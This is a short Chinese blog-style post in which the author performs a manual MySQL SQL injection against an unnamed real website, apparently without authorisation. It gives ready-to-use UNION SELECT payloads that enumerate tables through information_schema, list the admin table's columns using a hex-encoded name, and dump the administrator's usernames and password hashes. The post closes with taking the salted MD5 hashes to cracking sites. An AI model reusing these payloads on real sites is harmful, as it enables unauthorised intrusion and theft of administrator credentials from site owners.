今天想實際做一下mysql手工注入,於是找到了某某網站
首先在URL後加一個' 報錯,說明這個網站可能含有sql注入漏洞,可以進行下一步的測試
目的就是看看能不能直接爆出用戶名密碼 先用order by看一下這個字段數量
使用and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema = database()抱着試一試的心情看看能不能爆出數據庫的表名
這裏主要是用到了mysql裏邊的那個元數據庫
執行這個語句後可以看到admin表,裏密碼不遠了
使用這個語句查看一下admin表裏邊都有什麼這裏最後table_name需要用HEX
and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name = 0x61646D696E
執行這個語句後發現admin表裏邊有和用戶名密碼有關的字段,接下來我們看一下admin表下和用戶名密碼有關的字段的內容
使用語句:
and 1=2 union select 1,group_concat(admin_password),3,4,5,6,7,8 from admin
and 1=2 union select 1,group_concat(admin_firstname),3,4,5,6,7,8 from admin
and 1=2 union select 1,group_concat(admin_lastname),3,4,5,6,7,8 from admin
這個網站的用戶名是存放在兩個字段裏的,爆出之後需要拼接起來
重要的是密碼是三個,兩個md5($password,$salt),一個md5,接下來就是找網站解開這三個,這個網站的管理員用戶名密碼就通過手工注入的方式爆出來了。